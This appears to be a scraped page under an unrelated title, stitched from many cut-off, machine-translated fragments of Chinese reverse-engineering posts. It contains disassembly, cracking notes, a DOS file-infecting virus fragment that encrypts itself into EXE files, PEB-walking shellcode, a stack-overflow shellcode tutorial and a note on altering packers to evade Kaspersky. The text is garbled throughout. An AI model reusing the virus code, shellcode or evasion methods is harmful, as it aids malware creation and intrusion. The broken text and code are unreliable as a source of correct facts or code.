m2ts to mov

00427754 8F05 89284100 pop dword ptr ds: [0x412889]; [889] = ecx 0042775A 60 pushad 0042775B 61 popad 0042775C 51 push ecx 0042775D 8F05 CD294100 pop dword ptr ds: [0x4129CD]; [9cd] = ecx 00427763 FF35 CD294100 push dword ptr ds: [0x4129CD] 00427769 8915 E1284100 mov dword ptr ds: [0x4128E1], edx 0042776F FF35 E1284100 push dword ptr ds: [0x4128E1] 00427775 56 push esi 00427776 BE 11294100 mov esi, vcmfc d

Article CRACK_QS[4ST][PDG]Compilation mode: DebugTest platform: Winodws 7 x64Compilation environment: Microsoft Visual Studio Ultimate (12.0.30723.00) Update 3About the x64 forum has other brother analysis, I have to tidy up their records. Non-dry science text, do not like to spray.If there is a missing part of this article please refer to the following post, if found error please feedback to me, thank you very much.Study on the rules of x64 transferHttp://bbs.chinapyg.com/thread-74565-1-1.htmlR

# Include Using namespace std;Class Base{Public:~ Base () {printf ("nBase: destructor .");}};Class Derived: public Base{Virtual void show (){Cout }Public:~ Derived () {printf ("nDerived: destructor .");}};Int main (){Base * pB = NULL;Derived * pD = new Derived;PB = pD; // in this case, pD obtains the address of (unsigned char *) pD 4, therefore, the execution of operator delete will crash (because the vptr memory is regarded as the size of the memory block to be released )./

code runs before the program calls the function ).4: Set the RVA address of the original input table to 0, and change the partition attribute of the input table to writable. The complete code is as follows: 10074280> $ E8 01000000 CALL 1291SS. 1007428610074285 00 DB 0010074286. 58 POP EAX10074287. 8038 00 cmp byte ptr ds: [EAX], 01007428A. 0F85 F5000000 JNZ 1291SS. 1007438510074290. FE00 inc byte ptr ds: [EAX]10074292 64: A1 3000000> mov eax, dword

You can display the time by loading the RTC Interrupt program with the loader of the previous operating system kernel loader (x86 assembler).; user.asm; The header file of the program, the information table of the whole program;--------Header-----------------------------------section header align=16 vstart= 0program_length DD program_endprogram_entry DW start DD section.code.startsection_count DW (sectio N_end-section_begin)/4section_begin:section_code DD section.code.startsection_data DD Sectio

that in the previous comment, Ms engineers wrote a "comment version" strlen, which is exactly the same as the strlen you previously implemented. However, it is an annotated version and will not be compiled into the program. The following Assembly implementation code is as follows: CODESEG public strlenstrlen proc \ buf:ptr byte OPTION PROLOGUE:NONE, EPILOGUE:NONE .FPO ( 0, 1, 0, 0, 0, 0 ) string equ [esp + 4]

. vfun2 ();0041196e Lea ECx, [derived]00411971 call cderived: vfun2 (4111b8h)Derived. fun1 ();00411976 Lea ECx, [derived]00411979 call cbase: fun1 (411249 H)Derived. fun2 ();0041197e Lea ECx, [derived]00411981 call cderived: fun2 (4111bdh) // Code segment 2Cbase * Ptest = derived;00411986 Lea eax, [derived]00411989 mov dword ptr [Ptest], eaxPtest-> vfun1 ();0041198c mov eax, dword ptr [Ptest] // Row 100411

is found, delete it from the array. Data Segment Number DW 9 h Data ends Extra segment List DW 0ah, 01 H, 9 h, 3 h, 4 h, 5 h, 9 h, 6 h, 9 h, 0ah, 9 h Extra ends Code segment Assume DS: data, ES: Extra, CS: Code Start: MoV ax, Data MoV ds, ax MoV ax, extra MoV es, ax

highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->Void swap (int * x, int * y) { Int temp; Temp = * x; * X = * y; * Y = temp; } It is very simple, that is, to achieve two numbers exchange, people who have learned C language should be very familiar with this code.Add a test code:Code Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->Int main (int argc, char * argv []) { Int a = 4, B = 5; Swap ( a, B );

Game: tianlong Babu, version: 0.16.0108, System Windows XP, Tools : Ce5.2 + od1.10 + C #2005 Objective: To find the array format and location of strange data in the memory First, correct the search method of the character base address in Note 1. The specific search method is described below:1. Ce finds a unique address based on the person's experience or blood (in reality, I am based on experience)2. OD writes a breakpoint to memory under an empirical address0044bc28 8b46 0C

;//////////////////////////////; First get the relocation difference Call rebaseRebase:Pop EBP;Sub EBP, offset rebase;; Get the kernel32.dll's base address; By peb direct access; Place in here not routine; Because we need it afterAssume FS: nothing; MoV eax, FS: [30 h]; PTR _ TebMoV eax, [eax + 0ch]; PTR _ peb_ldr_dataMoV eax, [eax + 1ch]; list_entry ininitializationordermodulelist. flinkMoV eax, [eax]; flink's flinkMoV eax, [eax + 08 h]; The Kernel32

on stackCall encrypt; Encrypt filePop bx; get back BXmov cx,virus_size number of bytes to writemov ah,40h; write to Fileint 21h;Push BXCall encrypt, fix up the messPop bxRetVirus_code:Wildcards db "*", 0 search for directory argumentFilespec DB "*. EXE ", 0; Search for EXE file argumentFILESPEC2 db "*.*", 0RootDir db "", 0; argument for root directoryDirdata db DUP (?); holds directory DTAFiledata db DUP (?); Holds files DTADiskdtaseg DW?; Holds disk DTA segmentDiskdtaofs DW?; Holds disk DTA of

SAVEREG macro Push AX push BX push cx push DX push si push di endm resavereg macro pop di pop si pop dx pop cx pop bx pop Ax Endm; ************************ data segment arr DW 10,9,8,7,6,5,4,3,2,1 n DW m DW data ends; ******************** code segment;------------------------main proc far assume Cs:code, Ds:data start:push ds Sub ax, ax push AX, MOV ax , Data mov ds, ax;------------; sort;------------; Si,d

/kernel32.libincludelib D:/masm32/lib/user32.lib. dataszfilename dB 'C:/ntldr', 0 dwattrib dd 0 hfile dd 0 hmap dd 0 pfile dd 0 dwfilesize dd 0dwc3code dd 0 gdtflag DW 0 ffffh, 0000, 9a00h, 00cfh, 0f Fffh, expires, 9200 H, 00cfh; first and second descriptors in gdt: callgate DW average, 0108 H, 0ec00h, average, 0 ffffh, 0000, 9a00h, 00cfh; the call gate and the callsel dd 0 DW 103 H of a system descriptor; The Selection Sub-of the call gate. code start: Push offset szfilename call getfileattribu

conventions, I compiled the example code as C (not c ++ ). the function name decorations, mentioned later in the article, apply to the C decoration schema. c ++ name decorations are beyond the scope of this article.C calling convention (_ cdecl) This Convention is the default for C/C ++ programs (compiler option/Gd ). if a project is set to use some other calling convention, we can still declare a function to use _ cdecl: int __cdecl sumExample (int a, int b); The main characteristics of _ cdec

is modified, Kabbah does not report any virus when it is added to other executable files in this way. The modified program ensures the re-running of the program, otherwise, this modification is meaningless. Start the operation. The following eight most common shells are prepared. I. First test nspack3.6 Load the DT with the nspack shell with OD, and copy the top 10 lines as follows (the blue bold area is the part to be modified, as shown in the following format)004cf302 E8 00000000 call duplica

]} Access to the address in the topic, you can get a file, open after The file header is a lpck, do not know what format, but after seeing the MZ head. Delete all the parts before the MZ head, and successfully get an EXE. Requires input password. No way, just throw it into Ida ... find the key sections below: . text:00401363 mov [esp+5ch+var_5c], offset apassword; "Password:" . text:0040136a Call puts . text:0040136f Lea EAX, [esp+5ch+var_3e] . text

process, if not, naturally do not need to decrypt. 012b2a4c |.　　8b45 0C mov eax,dword ptr ss:[ebp+c] 012b2a4f |.　　8B48 mov ecx,dword ptr ds:[eax+4] 012b2a52 |.　　8B51 mov edx,dword ptr ds:[ecx+4] 012b2a55 |.　　8b45 0C mov eax,dword ptr ss:[ebp+c] 012b2a58 |.　　8B48 mov

reaches 00401051, observe the function stack as follows: We can see that the return address will be overwritten at the 13 offset of the TXT text. Step 3: (1) Compile the program code for the general pop-up calculator and extract the shellcode # Include "stdio. h "int main () {unsigned int KerdllAddress; // defines the address unsigned int GetProcessAddr of kernel32; // defines the function address unsigned int loadlibrarya; unsigned int WinExecAddress; // The address of the command executio

pmodule // jump directly to the program's airspace Press F10 to run the following command:................. 015F: 0048CCB1 PUSH EBX015F: 0048CCB2 mov ebx, EAX015F: 0048CCB4 xor eax, EAX015F: 0048CCB6 PUSH EBP015F: 0048CCB7 push dword 0048CD6C015F: 0048 ccbc push dword [FS: EAX]015F: 0048 ccbf mov [FS: EAX], ESP015F: 0048CCC2 lea eax, [EBP-04]015F: 0048CCC5 PUSH EAX015F: 0048CCC6